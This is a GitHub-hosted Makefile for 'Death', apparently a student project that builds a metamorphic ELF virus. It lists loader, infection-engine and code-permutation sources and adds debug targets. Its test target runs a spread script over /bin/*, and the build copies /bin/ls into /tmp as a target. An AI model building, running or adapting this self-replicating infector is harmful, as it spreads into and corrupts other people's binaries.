forked from ANGELOS-TSILAFAKIS/Death
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Makefile
160 lines (129 loc) · 4.18 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
# ----------------------------------- Bin ------------------------------------ #
NAME = death
# SRC file order matters!
#
# [LOADER] loader.s: loader_entry -> virus
# [VIRUS] virus.c: virus -> _start
# [LAUNCHER] start.c: _start -> EOF
SRC = loader.s \
virus/virus.c \
virus/accessors.c \
virus/adjust_references.c \
virus/change_entry.c \
virus/copy_virus_to_clone.c \
virus/copy_client_to_clone.c \
virus/debug.c \
virus/disasm_block.c \
virus/disasm_jumps.c \
virus/disasm_operands.c \
virus/disasm_length.c \
virus/disasm_step.c \
virus/elf_iterators.c \
virus/file_iterator.c \
virus/find_entry.c \
virus/generate_seed.c \
virus/infect.c \
virus/infection_engine.c \
virus/jumps.c \
virus/logs.c \
virus/metamorph_clone.c \
virus/not_infected.c \
virus/permutate_blocks.c \
virus/permutate_instructions.c \
virus/permutate_registers.c \
virus/setup_virus_header.c \
virus/syscall.c \
virus/utils.c \
start.c
CC = clang
AS = nasm
SRCDIR = srcs
OBJDIR = objs
OBJC = $(addprefix ${OBJDIR}/, $(SRC:.c=.o))
OBJ = $(OBJC:.s=.o)
DEP = $(addprefix ${OBJDIR}/, $(SRC:.c=.d))
override CFLAGS += -Wall -Wextra -MMD \
-fno-stack-protector \
-nodefaultlibs \
-fno-builtin -nostdlib -fpic
override ASFLAGS += -f elf64
LDFLAGS = -Iincludes/ -nostdlib -fpic
# ---------------------------------- Colors ---------------------------------- #
BY = "\033[33;1m"
BR = "\033[31;1m"
BG = "\033[32;1m"
BB = "\033[34;1m"
BM = "\033[35;1m"
BC = "\033[36;1m"
BW = "\033[37;1m"
Y = "\033[33m"
R = "\033[31m"
G = "\033[32m"
B = "\033[34m"
M = "\033[35m"
C = "\033[36m"
W = "\033[0m""\033[32;1m"
WR = "\033[0m""\033[31;5m"
WY = "\033[0m""\033[33;5m"
X = "\033[0m"
UP = "\033[A"
CUT = "\033[K"
# ---------------------------------- Rules ----------------------------------- #
all: art ${NAME}
${NAME}: ${OBJ}
@echo ${B}Compiling [${NAME}]...${X}
@${CC} ${LDFLAGS} -o $@ ${OBJ}
@echo ${G}Success" "[${NAME}]${X}
mkdir -p /tmp/test /tmp/test2
rm -rf /tmp/test/* /tmp/test2/*
cp /bin/ls /tmp/test/
${OBJDIR}/%.o: ${SRCDIR}/%.s
@echo ${Y}Compiling [$@]...${X}
@/bin/mkdir -p ${OBJDIR} ${OBJDIR}/virus
@${AS} ${ASFLAGS} -o $@ $<
@printf ${UP}${CUT}
${OBJDIR}/%.o: ${SRCDIR}/%.c
@echo ${Y}Compiling [$@]...${X}
@/bin/mkdir -p ${OBJDIR} ${OBJDIR}/virus
@${CC} ${CFLAGS} ${LDFLAGS} -c -o $@ $<
@printf ${UP}${CUT}
# ---------------------------------- Debug ----------------------------------- #
logs: fclean
${MAKE} all CFLAGS:="-DLOGS -DERRORS -g" ASFLAGS:="-DLOGS -DERRORS -g"
errors: fclean
${MAKE} all CFLAGS:="-DERRORS -g" ASFLAGS:="-DERRORS -g"
debug_blocks: fclean
${MAKE} all CFLAGS:="-DDEBUG_BLOCKS -g" ASFLAGS:="-DDEBUG_BLOCKS -g"
debug_operands: fclean
${MAKE} all CFLAGS:="-DDEBUG_OPERANDS -g" ASFLAGS:="-DDEBUG_OPERANDS -g"
test:
./scripts/test_spread.bash re 100 /bin/*
# --------------------------------- General ---------------------------------- #
clean:
@echo ${R}Cleaning" "[objs]...${X}
@/bin/rm -Rf ${OBJDIR}
fclean: clean
@echo ${R}Cleaning" "[${NAME}]...${X}
@/bin/rm -f ${NAME}
@/bin/rm -Rf ${NAME}.dSYM
re: fclean all
# -------------------------------- Decoration -------------------------------- #
art:
@echo ${BB}
@echo " /\\ .-\"\"\"-. /\\ "
@echo " \\ \`\"\`'v'\`\"\` / "
@echo " { .=. .=. } "
@echo " {( "${WR}"O"${X}${BB}" ) ( "${WR}"O"${X}${BB}" )} "
@echo " .\\'=' V '='/. "
@echo " /.'\`-'-'-'-\`'.\\ "
@echo " |/ ^ ~ ^ \\| "
@echo " \\| ^ ^ |/ "
@echo " \\\\\\ // "
@echo " \\\\\\ _ _ // "
@echo " "${BG}" -----"${BB}"'(|)"${BG}"---"${BB}"(|)'"${BG}"----- "
@echo " ------"${BB}","${BG}"-------"${BB}","${BG}"------ "${BB}
@echo " / .' : '. \\ "
@echo " '-'._.-._.'-' "
@echo ${X}
.PHONY: all clean fclean re logs errors debug_blocks debug_operands test art
-include ${DEP}